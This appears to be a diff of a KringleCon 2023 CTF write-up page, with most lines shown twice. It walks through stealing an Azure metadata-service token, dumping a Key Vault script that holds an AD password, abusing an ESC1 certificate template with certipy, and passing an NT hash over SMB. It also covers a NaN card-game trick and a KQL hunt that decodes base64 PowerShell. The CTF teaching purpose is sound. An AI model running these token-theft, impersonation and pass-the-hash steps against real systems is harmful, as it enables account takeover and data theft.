and issuing an HTTP request to management.azure.com&rsquo;s API.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-bash data-lang=bash><span style=display:flex><span>TOKEN<span style=color:#f92672>=</span><span style=color:#66d9ef>$(</span>curl --http1.1 <span style=color:#e6db74>&#39;http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&amp;resource=https://management.azure.com/&#39;</span> --header <span style=color:#e6db74>&#34;Metadata: true&#34;</span> | jq -r .access_token<span style=color:#66d9ef>)</span>
and issuing an HTTP request to management.azure.com&rsquo;s API.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-bash data-lang=bash><span style=display:flex><span>TOKEN<span style=color:#f92672>=</span><span style=color:#66d9ef>$(</span>curl --http1.1 <span style=color:#e6db74>&#39;http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&amp;resource=https://management.azure.com/&#39;</span> --header <span style=color:#e6db74>&#34;Metadata: true&#34;</span> | jq -r .access_token<span style=color:#66d9ef>)</span>
</span></span><span style=display:flex><span>HEADER<span style=color:#f92672>=</span><span style=color:#e6db74>&#34;Authorization: Bearer </span>$TOKEN<span style=color:#e6db74>&#34;</span>
</span></span><span style=display:flex><span>curl --header <span style=color:#e6db74>&#34;</span>$HEADER<span style=color:#e6db74>&#34;</span> <span style=color:#e6db74>&#34;https://management.azure.com/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.KeyVault/vaults/northpole-ssh-certs-kv?api-version=2022-07-01&#34;</span>
</span></span></code></pre></div><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-json data-lang=json><span style=display:flex><span>{
</span></span></code></pre></div><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-json data-lang=json><span style=display:flex><span>{
</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;id&#34;</span>: <span style=color:#e6db74>&#34;/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.KeyVault/vaults/northpole-ssh-certs-kv&#34;</span>,
</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;name&#34;</span>: <span style=color:#e6db74>&#34;northpole-ssh-certs-kv&#34;</span>,
</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;type&#34;</span>: <span style=color:#e6db74>&#34;Microsoft.KeyVault/vaults&#34;</span>,
@@ -752,9 +752,9 @@ and issuing an HTTP request to management.azure.com&rsquo;s API.</p><div class=h
</span></span><span style=display:flex><span> }
</span></span><span style=display:flex><span>}
</span></span></code></pre></div><p>We can query for the North Pole IT KV Key Vault Store,
and subsequently we get the following JSON.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>curl --header <span style=color:#e6db74>&#34;</span>$HEADER<span style=color:#e6db74>&#34;</span> <span style=color:#e6db74>&#34;https://management.azure.com/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.KeyVault/vaults/northpole-it-kv?api-version=2022-07-01&#34;</span> <span style=color:#ae81ff>\
and subsequently we get the following JSON.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>curl --header <span style=color:#e6db74>&#34;</span>$HEADER<span style=color:#e6db74>&#34;</span> <span style=color:#e6db74>&#34;https://management.azure.com/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.KeyVault/vaults/northpole-it-kv?api-version=2022-07-01&#34;</span> <span style=color:#ae81ff>\
</span></span></span><span style=display:flex><span>| jq
</span></span></code></pre></div><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-json data-lang=json><span style=display:flex><span>{
</span></span></code></pre></div><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-json data-lang=json><span style=display:flex><span>{
</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;id&#34;</span>: <span style=color:#e6db74>&#34;/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.KeyVault/vaults/northpole-it-kv&#34;</span>,
</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;name&#34;</span>: <span style=color:#e6db74>&#34;northpole-it-kv&#34;</span>,
</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;type&#34;</span>: <span style=color:#e6db74>&#34;Microsoft.KeyVault/vaults&#34;</span>,
@@ -786,10 +786,10 @@ and subsequently we get the following JSON.</p><div class=highlight><pre tabinde
</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;publicNetworkAccess&#34;</span>: <span style=color:#e6db74>&#34;Enabled&#34;</span>
</span></span><span style=display:flex><span> }
</span></span><span style=display:flex><span>}
</span></span></code></pre></div><p>If we list the secrets, we can see a script known as tmpAddUserScript inside the Azure Vault.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>TOKEN<span style=color:#f92672>=</span><span style=color:#66d9ef>$(</span>curl --http1.1 <span style=color:#e6db74>&#39;http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&amp;resource=https://vault.azure.net&#39;</span> --header <span style=color:#e6db74>&#34;Metadata: true&#34;</span> | jq -r .access_token<span style=color:#66d9ef>)</span>
</span></span></code></pre></div><p>If we list the secrets, we can see a script known as tmpAddUserScript inside the Azure Vault.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>TOKEN<span style=color:#f92672>=</span><span style=color:#66d9ef>$(</span>curl --http1.1 <span style=color:#e6db74>&#39;http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&amp;resource=https://vault.azure.net&#39;</span> --header <span style=color:#e6db74>&#34;Metadata: true&#34;</span> | jq -r .access_token<span style=color:#66d9ef>)</span>
</span></span><span style=display:flex><span>HEADER<span style=color:#f92672>=</span><span style=color:#e6db74>&#34;Authorization: Bearer </span>$TOKEN<span style=color:#e6db74>&#34;</span>
</span></span><span style=display:flex><span>curl --header <span style=color:#e6db74>&#34;</span>$HEADER<span style=color:#e6db74>&#34;</span> <span style=color:#e6db74>&#34;https://northpole-it-kv.vault.azure.net/secrets?maxresults=1&amp;api-version=7.4&#34;</span> | jq
</span></span></code></pre></div><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-json data-lang=json><span style=display:flex><span>{
</span></span></code></pre></div><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-json data-lang=json><span style=display:flex><span>{
</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;value&#34;</span>: [
</span></span><span style=display:flex><span> {
</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;id&#34;</span>: <span style=color:#e6db74>&#34;https://northpole-it-kv.vault.azure.net/secrets/tmpAddUserScript&#34;</span>,
@@ -805,8 +805,8 @@ and subsequently we get the following JSON.</p><div class=highlight><pre tabinde
</span></span><span style=display:flex><span> ],
</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;nextLink&#34;</span>: <span style=color:#66d9ef>null</span>
</span></span><span style=display:flex><span>}
</span></span></code></pre></div><p>Now that we know the name of the secret, we can query its value directly by appending it to the request URL.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>curl --header <span style=color:#e6db74>&#34;</span>$HEADER<span style=color:#e6db74>&#34;</span> <span style=color:#e6db74>&#34;https://northpole-it-kv.vault.azure.net/secrets/tmpAddUserScript?maxresults=1&amp;api-version=7.4&#34;</span> | jq
</span></span></code></pre></div><p>This returns a JSON object with the value along with a bunch of unnecessary attributes.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-json data-lang=json><span style=display:flex><span>{
</span></span></code></pre></div><p>Now that we know the name of the secret, we can query its value directly by appending it to the request URL.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>curl --header <span style=color:#e6db74>&#34;</span>$HEADER<span style=color:#e6db74>&#34;</span> <span style=color:#e6db74>&#34;https://northpole-it-kv.vault.azure.net/secrets/tmpAddUserScript?maxresults=1&amp;api-version=7.4&#34;</span> | jq
</span></span></code></pre></div><p>This returns a JSON object with the value along with a bunch of unnecessary attributes.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-json data-lang=json><span style=display:flex><span>{
</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;value&#34;</span>: <span style=color:#e6db74>&#34;Import-Module ActiveDirectory; $UserName = \&#34;elfy\&#34;; $UserDomain = \&#34;northpole.local\&#34;; $UserUPN = \&#34;$UserName@$UserDomain\&#34;; $Password = ConvertTo-SecureString \&#34;J4`ufC49/J4766\&#34; -AsPlainText -Force; $DCIP = \&#34;10.0.0.53\&#34;; New-ADUser -UserPrincipalName $UserUPN -Name $UserName -GivenName $UserName -Surname \&#34;\&#34; -Enabled $true -AccountPassword $Password -Server $DCIP -PassThru&#34;</span>,
</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;id&#34;</span>: <span style=color:#e6db74>&#34;https://northpole-it-kv.vault.azure.net/secrets/tmpAddUserScript/ec4db66008024699b19df44f5272248d&#34;</span>,
</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;attributes&#34;</span>: {
@@ -819,9 +819,9 @@ and subsequently we get the following JSON.</p><div class=highlight><pre tabinde
</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;tags&#34;</span>: {}
</span></span><span style=display:flex><span>}
</span></span></code></pre></div><p>To fetch the value of the script in its raw form we can repeat the request piping it to <code>jq</code>. We can query the value using <code>jq</code> by using the
<code>--raw-output</code> flag or its shorthand <code>-r</code> followed by the <code>value</code> argument.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>curl --header <span style=color:#e6db74>&#34;</span>$HEADER<span style=color:#e6db74>&#34;</span> <span style=color:#e6db74>&#34;https://northpole-it-kv.vault.azure.net/secrets/tmpAddUserScript?maxresults=1&amp;api-version=7.4&#34;</span> | jq -r .value
</span></span></code></pre></div><p>Inside the retrieved PowerShell script, we find that the password to the Active Directory box is hard-coded.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-powershell data-lang=powershell><span style=display:flex><span>Import-Module ActiveDirectory; $UserName = <span style=color:#e6db74>&#34;elfy&#34;</span>; $UserDomain = <span style=color:#e6db74>&#34;northpole.local&#34;</span>; $UserUPN = <span style=color:#e6db74>&#34;</span>$UserName<span style=color:#e6db74>@</span>$UserDomain<span style=color:#e6db74>&#34;</span>; $Password = ConvertTo-SecureString <span style=color:#e6db74>&#34;J4`ufC49/J4766&#34;</span> -AsPlainText -Force; $DCIP = <span style=color:#e6db74>&#34;10.0.0.53&#34;</span>; New-ADUser -UserPrincipalName $UserUPN -Name $UserName -GivenName $UserName -Surname <span style=color:#e6db74>&#34;&#34;</span> -Enabled $true -AccountPassword $Password -Server $DCIP -PassThru
</span></span></code></pre></div><p>I will set this password as an environment variable for easy access in later commands.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>PW<span style=color:#f92672>=</span><span style=color:#e6db74>&#39;J4`ufC49/J4766&#39;</span>
<code>--raw-output</code> flag or its shorthand <code>-r</code> followed by the <code>value</code> argument.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>curl --header <span style=color:#e6db74>&#34;</span>$HEADER<span style=color:#e6db74>&#34;</span> <span style=color:#e6db74>&#34;https://northpole-it-kv.vault.azure.net/secrets/tmpAddUserScript?maxresults=1&amp;api-version=7.4&#34;</span> | jq -r .value
</span></span></code></pre></div><p>Inside the retrieved PowerShell script, we find that the password to the Active Directory box is hard-coded.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-powershell data-lang=powershell><span style=display:flex><span>Import-Module ActiveDirectory; $UserName = <span style=color:#e6db74>&#34;elfy&#34;</span>; $UserDomain = <span style=color:#e6db74>&#34;northpole.local&#34;</span>; $UserUPN = <span style=color:#e6db74>&#34;</span>$UserName<span style=color:#e6db74>@</span>$UserDomain<span style=color:#e6db74>&#34;</span>; $Password = ConvertTo-SecureString <span style=color:#e6db74>&#34;J4`ufC49/J4766&#34;</span> -AsPlainText -Force; $DCIP = <span style=color:#e6db74>&#34;10.0.0.53&#34;</span>; New-ADUser -UserPrincipalName $UserUPN -Name $UserName -GivenName $UserName -Surname <span style=color:#e6db74>&#34;&#34;</span> -Enabled $true -AccountPassword $Password -Server $DCIP -PassThru
</span></span></code></pre></div><p>I will set this password as an environment variable for easy access in later commands.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>PW<span style=color:#f92672>=</span><span style=color:#e6db74>&#39;J4`ufC49/J4766&#39;</span>
</span></span></code></pre></div><p>Now we can use smbclient with that environment variable for logging in as Elfie into <code>northpole.local</code>.</p><pre tabindex=0><code>smbclient.py &#34;northpole.local/elfy:$PW@10.0.0.53&#34;
</code></pre><p>We will use the <code>shares</code> command to list the available shares.</p><pre tabindex=0><code># shares
ADMIN$
@@ -844,7 +844,7 @@ drw-rw-rw- 0 Sun Dec 17 01:15:12 2023 super_secret_research
1. Bake some cookies.
2. Restrict access to C:\FileShare\super_secret_research to only researchers so everyone cant see the folder or read its contents
3. Profit
</code></pre><p>The <code>super_secret_research</code> directory is restricted only to researchers, we can even test this by trying to list the directory which yields an error.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>certipy find <span style=color:#ae81ff>\
</code></pre><p>The <code>super_secret_research</code> directory is restricted only to researchers, we can even test this by trying to list the directory which yields an error.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>certipy find <span style=color:#ae81ff>\
</span></span></span><span style=display:flex><span> -vulnerable <span style=color:#ae81ff>\
</span></span></span><span style=display:flex><span> -username elfy@northpole.local <span style=color:#ae81ff>\
</span></span></span><span style=display:flex><span> -dc-ip 10.0.0.53 <span style=color:#ae81ff>\
@@ -865,7 +865,7 @@ Password:
[*] Saved BloodHound data to &#39;20231217073626_Certipy.zip&#39;. Drag and drop the file into the BloodHound GUI from @ly4k
[*] Saved text output to &#39;20231217073626_Certipy.txt&#39;
[*] Saved JSON output to &#39;20231217073626_Certipy.json&#39;
</code></pre><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>cat 20231217073626_Certipy.txt
</code></pre><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>cat 20231217073626_Certipy.txt
</span></span></code></pre></div><pre tabindex=0><code>Certificate Authorities
0
CA Name : northpole-npdc01-CA
@@ -926,7 +926,7 @@ Certificate Templates
NORTHPOLE.LOCAL\Enterprise Admins
[!] Vulnerabilities
ESC1 : &#39;NORTHPOLE.LOCAL\\Domain Users&#39; can enroll, enrollee supplies subject and template allows client authentication
</code></pre><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>samrdump.py <span style=color:#e6db74>&#34;elfy:</span>$PW<span style=color:#e6db74>@northpole.local&#34;</span> -dc-ip 10.0.0.53 -target-ip 10.0.0.53
</code></pre><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>samrdump.py <span style=color:#e6db74>&#34;elfy:</span>$PW<span style=color:#e6db74>@northpole.local&#34;</span> -dc-ip 10.0.0.53 -target-ip 10.0.0.53
</span></span></code></pre></div><pre tabindex=0><code>Impacket v0.11.0 - Copyright 2023 Fortra
[*] Retrieving endpoint list from northpole.local
@@ -985,7 +985,7 @@ wombleycube (1105)/PasswordDoesNotExpire: True
wombleycube (1105)/AccountIsDisabled: False
wombleycube (1105)/ScriptPath:
[*] Received 5 entries.
</code></pre><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>certipy req -username elfy@northpole.local -password <span style=color:#e6db74>&#34;</span>$PW<span style=color:#e6db74>&#34;</span> -ca northpole-npdc01-CA -target npdc01.northpole.local -dc-ip 10.0.0.53 -template NorthPoleUsers -upn wombleycube@northpole.local -dns npdc01.northpole.local
</code></pre><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>certipy req -username elfy@northpole.local -password <span style=color:#e6db74>&#34;</span>$PW<span style=color:#e6db74>&#34;</span> -ca northpole-npdc01-CA -target npdc01.northpole.local -dc-ip 10.0.0.53 -template NorthPoleUsers -upn wombleycube@northpole.local -dns npdc01.northpole.local
</span></span></code></pre></div><pre tabindex=0><code>Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
@@ -1009,7 +1009,7 @@ wombleycube (1105)/ScriptPath:
[*] Saved credential cache to &#39;wombleycube.ccache&#39;
[*] Trying to retrieve NT hash for &#39;wombleycube&#39;
[*] Got hash for &#39;wombleycube@northpole.local&#39;: aad3b435b51404eeaad3b435b51404ee:5740373231597863662f6d50484d3e23
</code></pre><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>alabaster@ssh-server-vm:~$ smbclient.py -hashes aad3b435b51404eeaad3b435b51404ee:5740373231597863662f6d50484d3e23 -target-ip 10.0.0.53 wombleycube@northpole.local
</code></pre><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>alabaster@ssh-server-vm:~$ smbclient.py -hashes aad3b435b51404eeaad3b435b51404ee:5740373231597863662f6d50484d3e23 -target-ip 10.0.0.53 wombleycube@northpole.local
</span></span><span style=display:flex><span>Impacket v0.11.0 - Copyright <span style=color:#ae81ff>2023</span> Fortra
</span></span><span style=display:flex><span>
</span></span><span style=display:flex><span>Type help <span style=color:#66d9ef>for</span> list of commands
@@ -1031,7 +1031,7 @@ wombleycube (1105)/ScriptPath:
and block them. To see the blocking in action, we must hard refresh the page by pressing <code>ctrl</code> <code>F5</code>.</p><p>Just like that, the trees are gone!</p><p>Moving forward while avoiding the frames for the trees, we will find a microphone which opens the doors to the carriage next to it only when a certain phrase is said by
Wombley Cube. This phrase is evidently the contents of the file we found at the end of the active directory challenge.</p><h1 id=space-island-cape-cosmic>Space Island: Cape Cosmic</h1><p>Yeah, nothing really happened here. The place is fenced.</p><h1 id=film-noir-island-chiaroscuro-city>Film Noir Island: Chiaroscuro City</h1><p>Wombley Cube gives us a free audiobook to listen to.</p><h2 id=naan>Na&rsquo;an</h2><p>We have to play a game called &ldquo;Shifty&rsquo;s Card Shuffle&rdquo;, we must pick five unique cards numbering from 0-9. Shifty also picks 5 cards. Whoever picks the lowest and highest numbers gets a point for each. If our card and shifty&rsquo;s are the same, that number is canceled out.
The first one to 10 points wins.</p><p>If we play by the rules and pick a number from 0 through 9, Shifty always picks cards that are lower or higher than ours respectively. However, Shifty mentions that the game is made with Python and as the name of the challenge suggests, we can represent NaN (not a number)
as a floating point number in Python. Special floating point numbers like <code>NaN</code> and <code>Inf</code> (infinity) are part of the IEEE 754 standard and is available in most programming languages.</p><p>The trick here is that a comparison checking if a number is greater than <code>NaN</code> will always evaluate to false. We can test the following in the devtools console:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-js data-lang=js><span style=display:flex><span><span style=color:#ae81ff>5</span> <span style=color:#f92672>&gt;</span> <span style=color:#66d9ef>NaN</span>
as a floating point number in Python. Special floating point numbers like <code>NaN</code> and <code>Inf</code> (infinity) are part of the IEEE 754 standard and is available in most programming languages.</p><p>The trick here is that a comparison checking if a number is greater than <code>NaN</code> will always evaluate to false. We can test the following in the devtools console:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-js data-lang=js><span style=display:flex><span><span style=color:#ae81ff>5</span> <span style=color:#f92672>&gt;</span> <span style=color:#66d9ef>NaN</span>
</span></span></code></pre></div><p>This results in <code>false</code>. The same applies to the less than sign.</p><p>To win every card pick, all our card must be <code>NaN</code>. However, the game prevents us from using the same number (or string) for multiple cards.
A quick and easy solution to this is to use different capitalization of the word <code>NaN</code> for each pick.</p><p>We will fill each card with <code>nan</code>, <code>naN</code>, <code>nAn</code>, <code>nAN</code> and <code>Nan</code> respectively.</p><p><img src=../../kringlecon/2023/naan-00.avif alt="The different capitalizations of NaN for each pick"></p><p>After around 5 iterations of the game, we score 10 before Shifty and win the game!</p><p><img src=../../kringlecon/2023/naan-01.avif alt="We are cleverer than most tourists"></p><h1 id=film-noir-island-gumshoe-alley-pi-office>Film Noir Island: Gumshoe Alley PI Office</h1><p>For the KQL kraken hunt, we must create a free cluster <a href=https://dataexplorer.azure.com/freecluster>from here</a>.</p><p>Next we visit the <a href=https://detective.kusto.io/sans2023>challenge website</a> and after clicking on the &ldquo;Log in&rdquo; button in the top right corner, we paste the data claster URL.</p><p>I have blurred my URL since it acts like a secret but after pasting it, we click on the login button in the prompt.</p><p>I clicked run. I went through the tutorial. I came back. I clicked &ldquo;Train me for the case.&rdquo;</p><h3 id=training>Training</h3><p>I ran the following query:</p><pre tabindex=0><code class=language-nushell data-lang=nushell>Employees
| take 10
@@ -1079,23 +1079,23 @@ To narrow down base64 encoded commands further, we will query only those process
| where hostname == &#34;Y1US-DESKTOP&#34; and (parent_process_name == &#39;cmd.exe&#39; or parent_process_name == &#39;powershell.exe&#39;) and process_commandline has &#34;-enc&#34;
</code></pre><p>We make sure to sort timestamp as ascending.</p><p>Now let&rsquo;s decode each record. To do this, we copy the part of the command
after the <code>-enc</code> flag and run the following command:</p><pre tabindex=0><code>echo THEBASE64STRING | base64 -d
</code></pre><p>Keep in mind, we replace <code>THEBASE64STRING</code> with the thing we just copied.</p><p>Let&rsquo;s decode the first base64 string.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>echo SW52b2tlLVdtaU1ldGhvZCAtQ29tcHV0ZXJOYW1lICRTZXJ2ZXIgLUNsYXNzIENDTV9Tb2Z0d2FyZVVwZGF0ZXNNYW5hZ2VyIC1OYW1lIEluc3RhbGxVcGRhdGVzIC0gQXJndW1lbnRMaXN0ICgsICRQZW5kaW5nVXBkYXRlTGlzdCkgLU5hbWVzcGFjZSByb290WyZjY20mXWNsaWVudHNkayB8IE91dC1OdWxs <span style=color:#ae81ff>\
</code></pre><p>Keep in mind, we replace <code>THEBASE64STRING</code> with the thing we just copied.</p><p>Let&rsquo;s decode the first base64 string.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>echo SW52b2tlLVdtaU1ldGhvZCAtQ29tcHV0ZXJOYW1lICRTZXJ2ZXIgLUNsYXNzIENDTV9Tb2Z0d2FyZVVwZGF0ZXNNYW5hZ2VyIC1OYW1lIEluc3RhbGxVcGRhdGVzIC0gQXJndW1lbnRMaXN0ICgsICRQZW5kaW5nVXBkYXRlTGlzdCkgLU5hbWVzcGFjZSByb290WyZjY20mXWNsaWVudHNkayB8IE91dC1OdWxs <span style=color:#ae81ff>\
</span></span></span><span style=display:flex><span>| base64 -d
</span></span></code></pre></div><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-powershell data-lang=powershell><span style=display:flex><span>Invoke-WmiMethod -ComputerName $Server -Class CCM_SoftwareUpdatesManager -Name InstallUpdates - ArgumentList (, $PendingUpdateList) -Namespace root[&amp;ccm&amp;]clientsdk | Out-Null
</span></span></code></pre></div><p>Nope, this looks like a legitimate command for installing Windows updates. Let&rsquo;s try the second one.</p><p>The base64 command in the second record when decoded as follows</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>echo KCAndHh0LnRzaUxlY2lOeXRoZ3VhTlxwb3Rrc2VEXDpDIHR4dC50c2lMZWNpTnl0aGd1YU5cbGFjaXRpckNub2lzc2lNXCRjXGVyYWhzZWxpZmVsb1BodHJvTlxcIG1ldEkteXBvQyBjLSBleGUubGxlaHNyZXdvcCcgLXNwbGl0ICcnIHwgJXskX1swXX0pIC1qb2luICcn <span style=color:#ae81ff>\
</span></span></code></pre></div><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-powershell data-lang=powershell><span style=display:flex><span>Invoke-WmiMethod -ComputerName $Server -Class CCM_SoftwareUpdatesManager -Name InstallUpdates - ArgumentList (, $PendingUpdateList) -Namespace root[&amp;ccm&amp;]clientsdk | Out-Null
</span></span></code></pre></div><p>Nope, this looks like a legitimate command for installing Windows updates. Let&rsquo;s try the second one.</p><p>The base64 command in the second record when decoded as follows</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>echo KCAndHh0LnRzaUxlY2lOeXRoZ3VhTlxwb3Rrc2VEXDpDIHR4dC50c2lMZWNpTnl0aGd1YU5cbGFjaXRpckNub2lzc2lNXCRjXGVyYWhzZWxpZmVsb1BodHJvTlxcIG1ldEkteXBvQyBjLSBleGUubGxlaHNyZXdvcCcgLXNwbGl0ICcnIHwgJXskX1swXX0pIC1qb2luICcn <span style=color:#ae81ff>\
</span></span></span><span style=display:flex><span>| base64 -d
</span></span></code></pre></div><p>yields the following powershell command:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-powershell data-lang=powershell><span style=display:flex><span>( <span style=color:#e6db74>&#39;txt.tsiLeciNythguaN\potkseD\:C txt.tsiLeciNythguaN\lacitirCnoissiM\$c\erahselifeloPhtroN\\ metI-ypoC c- exe.llehsrewop&#39;</span> -split <span style=color:#e6db74>&#39;&#39;</span> | %{$_[<span style=color:#ae81ff>0</span>]}) -join <span style=color:#e6db74>&#39;&#39;</span>
